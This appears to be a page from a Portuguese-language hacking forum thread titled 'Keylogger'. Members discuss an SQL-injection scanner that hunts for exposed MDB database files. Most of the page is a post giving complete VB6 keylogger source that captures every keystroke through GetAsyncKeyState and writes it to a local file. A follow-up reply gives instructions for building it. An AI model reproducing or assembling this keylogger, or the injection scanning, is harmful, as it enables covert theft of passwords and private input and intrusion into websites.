Keylogger

Started by branco, 19 de October , 2006, 07:18:57 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Print
Go Down Pages 1 2
User actions

Anonymous

#15
10 de May , 2007, 02:47:10 PM
Quote from: "Exterminadorct"c4x5

o do ath

aquele scanner de vul em sql ?

alias

vlw pelo kl branco

Não. O programa carrega uma lista de sites e logo em seguida uma lista de strigs (No caso, diretórios onde há possibilidade de haver MDBs.) Achado alguns sites vulneraveis, é que é usado os comandos de Injeção de SQL.

Qualquer dúvida, é só falar. Abraços

Anonymous

#16
16 de January , 2008, 04:14:30 AM
c4x5 me interecei por esse scanner vc tem ele ai ? pode postar prajente ?

Alucard

#17
16 de January , 2008, 10:51:31 AM
posta os códigos novamente... fiquei curioso... não consegui baixar de
Quotehttp://www.hackerscenter.com/downloads/download.asp?id=1038

Anonymous

#18
17 de January , 2008, 05:10:38 PM
o que eu faço com esse code



Public Function teste()
Dim keys(0 To 255) As Byte
GetKeyboardState keys(0)
Dim ShiftState As Boolean
Dim CapsLockState As Boolean
Dim NumLockState As Boolean
ShiftState = GetAsyncKeyState(vbKeyShift)
NumLockState = keys(VK_NUMLOCK)
CapsLockState = keys(VK_CAPITAL)

If GetAsyncKeyState(vbKeyA) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "A"
End If
If GetAsyncKeyState(vbKeyA) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "A"
End If
If GetAsyncKeyState(vbKeyA) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "a"
End If
If GetAsyncKeyState(vbKeyA) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "a"
End If

If GetAsyncKeyState(vbKeyB) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "B"
End If
If GetAsyncKeyState(vbKeyB) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "B"
End If
If GetAsyncKeyState(vbKeyB) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "b"
End If
If GetAsyncKeyState(vbKeyB) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "b"
End If

If GetAsyncKeyState(vbKeyC) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "C"
End If
If GetAsyncKeyState(vbKeyC) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "C"
End If
If GetAsyncKeyState(vbKeyC) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "c"
End If
If GetAsyncKeyState(vbKeyC) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "c"
End If


If GetAsyncKeyState(vbKeyD) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "D"
End If
If GetAsyncKeyState(vbKeyD) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "D"
End If
If GetAsyncKeyState(vbKeyD) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "d"
End If
If GetAsyncKeyState(vbKeyD) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "d"
End If

If GetAsyncKeyState(vbKeyE) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "E"
End If
If GetAsyncKeyState(vbKeyE) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "E"
End If
If GetAsyncKeyState(vbKeyE) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "e"
End If
If GetAsyncKeyState(vbKeyE) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "e"
End If

If GetAsyncKeyState(vbKeyF) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "F"
End If
If GetAsyncKeyState(vbKeyF) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "F"
End If
If GetAsyncKeyState(vbKeyF) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "f"
End If
If GetAsyncKeyState(vbKeyF) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "f"
End If

If GetAsyncKeyState(vbKeyG) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "G"
End If
If GetAsyncKeyState(vbKeyG) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "G"
End If
If GetAsyncKeyState(vbKeyG) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "g"
End If
If GetAsyncKeyState(vbKeyG) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "g"
End If

If GetAsyncKeyState(vbKeyH) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "H"
End If
If GetAsyncKeyState(vbKeyH) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "H"
End If
If GetAsyncKeyState(vbKeyH) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "h"
End If
If GetAsyncKeyState(vbKeyH) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "h"
End If

If GetAsyncKeyState(vbKeyI) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "I"
End If
If GetAsyncKeyState(vbKeyI) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "I"
End If
If GetAsyncKeyState(vbKeyI) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "i"
End If
If GetAsyncKeyState(vbKeyI) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "i"
End If

If GetAsyncKeyState(vbKeyJ) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "J"
End If
If GetAsyncKeyState(vbKeyJ) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "J"
End If
If GetAsyncKeyState(vbKeyJ) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "j"
End If
If GetAsyncKeyState(vbKeyJ) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "j"
End If

If GetAsyncKeyState(vbKeyK) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "K"
End If
If GetAsyncKeyState(vbKeyK) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "K"
End If
If GetAsyncKeyState(vbKeyK) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "k"
End If
If GetAsyncKeyState(vbKeyK) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "k"
End If

If GetAsyncKeyState(vbKeyL) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "L"
End If
If GetAsyncKeyState(vbKeyL) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "L"
End If
If GetAsyncKeyState(vbKeyL) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "l"
End If
If GetAsyncKeyState(vbKeyL) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "l"
End If

If GetAsyncKeyState(vbKeyM) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "M"
End If
If GetAsyncKeyState(vbKeyM) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "M"
End If
If GetAsyncKeyState(vbKeyM) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "m"
End If
If GetAsyncKeyState(vbKeyM) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "m"
End If

If GetAsyncKeyState(vbKeyN) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "N"
End If
If GetAsyncKeyState(vbKeyN) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "N"
End If
If GetAsyncKeyState(vbKeyN) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "n"
End If
If GetAsyncKeyState(vbKeyN) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "n"
End If

If GetAsyncKeyState(vbKeyO) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "O"
End If
If GetAsyncKeyState(vbKeyO) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "O"
End If
If GetAsyncKeyState(vbKeyO) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "o"
End If
If GetAsyncKeyState(vbKeyO) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "o"
End If

If GetAsyncKeyState(vbKeyP) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "P"
End If
If GetAsyncKeyState(vbKeyP) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "P"
End If
If GetAsyncKeyState(vbKeyP) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "p"
End If
If GetAsyncKeyState(vbKeyP) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "p"
End If

If GetAsyncKeyState(vbKeyQ) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "Q"
End If
If GetAsyncKeyState(vbKeyQ) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "Q"
End If
If GetAsyncKeyState(vbKeyQ) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "q"
End If
If GetAsyncKeyState(vbKeyQ) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "q"
End If

If GetAsyncKeyState(vbKeyR) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "R"
End If
If GetAsyncKeyState(vbKeyR) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "R"
End If
If GetAsyncKeyState(vbKeyR) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "r"
End If
If GetAsyncKeyState(vbKeyR) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "r"
End If

If GetAsyncKeyState(vbKeyS) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "S"
End If
If GetAsyncKeyState(vbKeyS) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "S"
End If
If GetAsyncKeyState(vbKeyS) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "s"
End If
If GetAsyncKeyState(vbKeyS) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "s"
End If

If GetAsyncKeyState(vbKeyT) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "T"
End If
If GetAsyncKeyState(vbKeyT) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "T"
End If
If GetAsyncKeyState(vbKeyT) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "t"
End If
If GetAsyncKeyState(vbKeyT) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "t"
End If

If GetAsyncKeyState(vbKeyU) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "U"
End If
If GetAsyncKeyState(vbKeyU) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "U"
End If
If GetAsyncKeyState(vbKeyU) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "u"
End If
If GetAsyncKeyState(vbKeyU) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "u"
End If

If GetAsyncKeyState(vbKeyV) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "V"
End If
If GetAsyncKeyState(vbKeyV) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "V"
End If
If GetAsyncKeyState(vbKeyV) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "v"
End If
If GetAsyncKeyState(vbKeyV) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "v"
End If

If GetAsyncKeyState(vbKeyX) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "X"
End If
If GetAsyncKeyState(vbKeyX) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "X"
End If
If GetAsyncKeyState(vbKeyX) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "x"
End If
If GetAsyncKeyState(vbKeyX) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "x"
End If

If GetAsyncKeyState(vbKeyY) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "Y"
End If
If GetAsyncKeyState(vbKeyY) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "Y"
End If
If GetAsyncKeyState(vbKeyY) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "y"
End If
If GetAsyncKeyState(vbKeyY) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "y"
End If

If GetAsyncKeyState(vbKeyZ) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "Z"
End If
If GetAsyncKeyState(vbKeyZ) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "Z"
End If
If GetAsyncKeyState(vbKeyZ) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "z"
End If
If GetAsyncKeyState(vbKeyZ) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "z"
End If

If GetAsyncKeyState(vbKeyW) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "W"
End If
If GetAsyncKeyState(vbKeyW) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "W"
End If
If GetAsyncKeyState(vbKeyW) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "w"
End If
If GetAsyncKeyState(vbKeyW) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "w"
End If



If GetAsyncKeyState(vbKey1) And ShiftState = True Then
Text1.Text = Text1.Text + "!"
End If
If GetAsyncKeyState(vbKey1) And ShiftState = False Then
Text1.Text = Text1.Text + "1"
End If

If GetAsyncKeyState(vbKey2) And ShiftState = True Then
Text1.Text = Text1.Text + "@"
End If
If GetAsyncKeyState(vbKey2) And ShiftState = False Then
Text1.Text = Text1.Text + "2"
End If

If GetAsyncKeyState(vbKey3) And ShiftState = True Then
Text1.Text = Text1.Text + "#"
End If
If GetAsyncKeyState(vbKey3) And ShiftState = False Then
Text1.Text = Text1.Text + "3"
End If

If GetAsyncKeyState(vbKey4) And ShiftState = True Then
Text1.Text = Text1.Text + "$"
End If
If GetAsyncKeyState(vbKey4) And ShiftState = False Then
Text1.Text = Text1.Text + "4"
End If

If GetAsyncKeyState(vbKey5) And ShiftState = True Then
Text1.Text = Text1.Text + "%"
End If
If GetAsyncKeyState(vbKey5) And ShiftState = False Then
Text1.Text = Text1.Text + "5"
End If

If GetAsyncKeyState(vbKey6) And ShiftState = True Then
Text1.Text = Text1.Text + "¨"
End If
If GetAsyncKeyState(vbKey6) And ShiftState = False Then
Text1.Text = Text1.Text + "6"
End If

If GetAsyncKeyState(vbKey7) And ShiftState = True Then
Text1.Text = Text1.Text + "&"
End If
If GetAsyncKeyState(vbKey7) And ShiftState = False Then
Text1.Text = Text1.Text + "7"
End If

If GetAsyncKeyState(vbKey8) And ShiftState = True Then
Text1.Text = Text1.Text + "*"
End If
If GetAsyncKeyState(vbKey8) And ShiftState = False Then
Text1.Text = Text1.Text + "8"
End If

If GetAsyncKeyState(vbKey9) And ShiftState = True Then
Text1.Text = Text1.Text + "("
End If
If GetAsyncKeyState(vbKey9) And ShiftState = False Then
Text1.Text = Text1.Text + "9"
End If

If GetAsyncKeyState(vbKey0) And ShiftState = True Then
Text1.Text = Text1.Text + ")"
End If
If GetAsyncKeyState(vbKey0) And ShiftState = False Then
Text1.Text = Text1.Text + "0"
End If

If GetAsyncKeyState(vbKeyBack) Then
Text1.Text = Text1.Text + "[Desmanchar]"
End If

If GetAsyncKeyState(vbKeyTab) Then
Text1.Text = Text1.Text + ""
End If


If GetAsyncKeyState(vbKeyReturn) Then
Text1.Text = Text1.Text + "[Enter]"
End If

If GetAsyncKeyState(vbKeyControl) Then
Text1.Text = Text1.Text + "[Ctrl]"
End If

If GetAsyncKeyState(vbKeyMenu) Then
Text1.Text = Text1.Text + "[Alt]"
End If

If GetAsyncKeyState(vbKeyPause) Then
Text1.Text = Text1.Text + "[Pause]"
End If

If GetAsyncKeyState(vbKeyEscape) Then
Text1.Text = Text1.Text + "[Esc]"
End If

If GetAsyncKeyState(vbKeySpace) Then
Text1.Text = Text1.Text + " "
End If

If GetAsyncKeyState(vbKeyEnd) Then
Text1.Text = Text1.Text + "[End]"
End If

If GetAsyncKeyState(vbKeyHome) Then
Text1.Text = Text1.Text + "[Home]"
End If

If GetAsyncKeyState(vbKeyLeft) Then
Text1.Text = Text1.Text + "
"
End If

If GetAsyncKeyState(vbKeyRight) Then
Text1.Text = Text1.Text + "
"
End If

If GetAsyncKeyState(vbKeyUp) Then
Text1.Text = Text1.Text + "[Up]"
End If

If GetAsyncKeyState(vbKeyDown) Then
Text1.Text = Text1.Text + "[Down]"
End If

If GetAsyncKeyState(vbKeyInsert) Then
Text1.Text = Text1.Text + "[Insert]"
End If

If GetAsyncKeyState(vbKeyDelete) Then
Text1.Text = Text1.Text + "[Del]"
End If

If GetAsyncKeyState(&HBA) And ShiftState = True Then
Text1.Text = Text1.Text + ":"
End If

If GetAsyncKeyState(&HBA) Then
Text1.Text = Text1.Text + ";"
End If

If GetAsyncKeyState(&HBB) And ShiftState = True Then
Text1.Text = Text1.Text + "+"
End If

If GetAsyncKeyState(&HBB) Then
Text1.Text = Text1.Text + "="
End If

If GetAsyncKeyState(&HBC) And ShiftState = True Then
Text1.Text = Text1.Text + "<"
End If

If GetAsyncKeyState(&HBC) Then
Text1.Text = Text1.Text + ","
End If

If GetAsyncKeyState(&HBD) And ShiftState = True Then
Text1.Text = Text1.Text + "_"
End If

If GetAsyncKeyState(&HBD) Then
Text1.Text = Text1.Text + "-"
End If

If GetAsyncKeyState(&HBE) And ShiftState = True Then
Text1.Text = Text1.Text + ">"
End If

If GetAsyncKeyState(&HBE) Then
Text1.Text = Text1.Text + "."
End If

If GetAsyncKeyState(&HBF) And ShiftState = True Then
Text1.Text = Text1.Text + ":"
End If

If GetAsyncKeyState(&HBF) Then
Text1.Text = Text1.Text + ";"
End If

If GetAsyncKeyState(&HDB) And ShiftState = True Then
Text1.Text = Text1.Text + "`"
End If

If GetAsyncKeyState(&HDB) Then
Text1.Text = Text1.Text + "´"
End If

If GetAsyncKeyState(&HDC) And ShiftState = True Then
Text1.Text = Text1.Text + "}"
End If

If GetAsyncKeyState(&HDC) Then
Text1.Text = Text1.Text + "]"
End If

If GetAsyncKeyState(&HDD) And ShiftState = True Then
Text1.Text = Text1.Text + "{"
End If

If GetAsyncKeyState(&HDD) Then
Text1.Text = Text1.Text + "["
End If

If GetAsyncKeyState(&HDE) And ShiftState = True Then
Text1.Text = Text1.Text + "^"
End If

If GetAsyncKeyState(&HDE) Then
Text1.Text = Text1.Text + "~"
End If

If GetAsyncKeyState(&HC0) And ShiftState = True Then
Text1.Text = Text1.Text + """"
End If

If GetAsyncKeyState(&HC0) Then
Text1.Text = Text1.Text + "'"
End If

If GetAsyncKeyState(vbKeyDivide) Then
Text1.Text = Text1.Text + "/"
End If

If GetAsyncKeyState(vbKeyAdd) Then
Text1.Text = Text1.Text + "+"
End If

If GetAsyncKeyState(vbKeySubtract) Then
Text1.Text = Text1.Text + "-"
End If

If GetAsyncKeyState(vbKeyDecimal) And NumLockState = True Then
Text1.Text = Text1.Text + ","
End If

If GetAsyncKeyState(vbKeyF1) And ShiftState = True Then
Text1.Text = Text1.Text + "[F1 com shift]"
End If

If GetAsyncKeyState(vbKeyF1) Then
Text1.Text = Text1.Text + "[F1]"
End If

If GetAsyncKeyState(vbKeyF2) And ShiftState = True Then
Text1.Text = Text1.Text + "[F2 com shift]"
End If

If GetAsyncKeyState(vbKeyF2) Then
Text1.Text = Text1.Text + "[F2]"
End If

If GetAsyncKeyState(vbKeyF3) And ShiftState = True Then
Text1.Text = Text1.Text + "[F3 com shift]"
End If

If GetAsyncKeyState(vbKeyF3) Then
Text1.Text = Text1.Text + "[F3]"
End If

If GetAsyncKeyState(vbKeyF4) And GetAsyncKeyState(vbKeyMenu) Then
Text1.Text = Text1.Text + "[F4 com alt]"
End If

If GetAsyncKeyState(vbKeyF4) And ShiftState = True Then
Text1.Text = Text1.Text + "[F4 com shift]"
End If

If GetAsyncKeyState(vbKeyF4) Then
Text1.Text = Text1.Text + "[F4]"
End If

If GetAsyncKeyState(vbKeyF5) And ShiftState = True Then
Text1.Text = Text1.Text + "[F5 com shift]"
End If

If GetAsyncKeyState(vbKeyF5) Then
Text1.Text = Text1.Text + "[F5]"
End If

If GetAsyncKeyState(vbKeyF6) And ShiftState = True Then
Text1.Text = Text1.Text + "[F6 com shift]"
End If

If GetAsyncKeyState(vbKeyF6) Then
Text1.Text = Text1.Text + "[F6]"
End If

If GetAsyncKeyState(vbKeyF7) And ShiftState = True Then
Text1.Text = Text1.Text + "[F7 com shift]"
End If

If GetAsyncKeyState(vbKeyF7) Then
Text1.Text = Text1.Text + "[F7]"
End If

If GetAsyncKeyState(vbKeyF8) And ShiftState = True Then
Text1.Text = Text1.Text + "[F8 com shift]"
End If

If GetAsyncKeyState(vbKeyF8) Then
Text1.Text = Text1.Text + "[F8]"
End If

If GetAsyncKeyState(vbKeyF9) And ShiftState = True Then
Text1.Text = Text1.Text + "[F9 com shift]"
End If

If GetAsyncKeyState(vbKeyF9) Then
Text1.Text = Text1.Text + "[F9]"
End If

If GetAsyncKeyState(vbKeyF10) And ShiftState = True Then
Text1.Text = Text1.Text + "[F10 com shift]"
End If

If GetAsyncKeyState(vbKeyF10) Then
Text1.Text = Text1.Text + "[F10]"
End If

If GetAsyncKeyState(vbKeyF11) And ShiftState = True Then
Text1.Text = Text1.Text + "[F11 com shift]"
End If

If GetAsyncKeyState(vbKeyF11) Then
Text1.Text = Text1.Text + "[F11]"
End If

If GetAsyncKeyState(vbKeyF12) And ShiftState = True Then
Text1.Text = Text1.Text + "[F12 com shift]"
End If

If GetAsyncKeyState(vbKeyF12) Then
Text1.Text = Text1.Text + "[F12]"
End If

If GetAsyncKeyState(vbKeyNumlock) Then
Text1.Text = Text1.Text + "[Numlock]"
End If

If GetAsyncKeyState(vbKeyScrollLock) Then
Text1.Text = Text1.Text + "[ScrollLock]"
End If

If GetAsyncKeyState(vbKeyPrint) Then
Text1.Text = Text1.Text + "[PrintScreen]"
End If

If GetAsyncKeyState(vbKeyPageUp) Then
Text1.Text = Text1.Text + "[PageUp]"
End If

If GetAsyncKeyState(vbKeyPageDown) Then
Text1.Text = Text1.Text + "[PageDown]"
End If

If GetAsyncKeyState(vbKeySnapshot) Then
Text1.Text = Text1.Text + "[Snapshot]"
End If

If GetAsyncKeyState(vbKeyNumpad1) Then
Text1.Text = Text1.Text + "1"
End If

If GetAsyncKeyState(vbKeyNumpad2) Then
Text1.Text = Text1.Text + "2"
End If

If GetAsyncKeyState(vbKeyNumpad3) Then
Text1.Text = Text1.Text + "3"
End If

If GetAsyncKeyState(vbKeyNumpad4) Then
Text1.Text = Text1.Text + "4"
End If

If GetAsyncKeyState(vbKeyNumpad5) Then
Text1.Text = Text1.Text + "5"
End If

If GetAsyncKeyState(vbKeyNumpad6) Then
Text1.Text = Text1.Text + "6"
End If

If GetAsyncKeyState(vbKeyNumpad7) Then
Text1.Text = Text1.Text + "7"
End If

If GetAsyncKeyState(vbKeyNumpad8) Then
Text1.Text = Text1.Text + "8"
End If

If GetAsyncKeyState(vbKeyNumpad9) Then
Text1.Text = Text1.Text + "9"
End If

If GetAsyncKeyState(vbKeyNumpad0) Then
Text1.Text = Text1.Text + "0"
End If

If GetAsyncKeyState(vbKeyMultiply) Then
Text1.Text = Text1.Text + "*"
End If

ARQ = FreeFile
Open "c:\teste.txt" For Output As #ARQ
Print #ARQ, Text1.Text
Close #ARQ
End Function

Alucard

#19
18 de January , 2008, 01:11:08 PM
Com o vb6 abra crie um novo projeto crie um Timmer altere o nome do Timmer para teste
Depois disso crie uma caixa de texto.

No inicio do código, coloque a declaração. Depois cole o código citado.
Code Select
Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Any) As Long
Print
Go Up Pages 1 2
User actions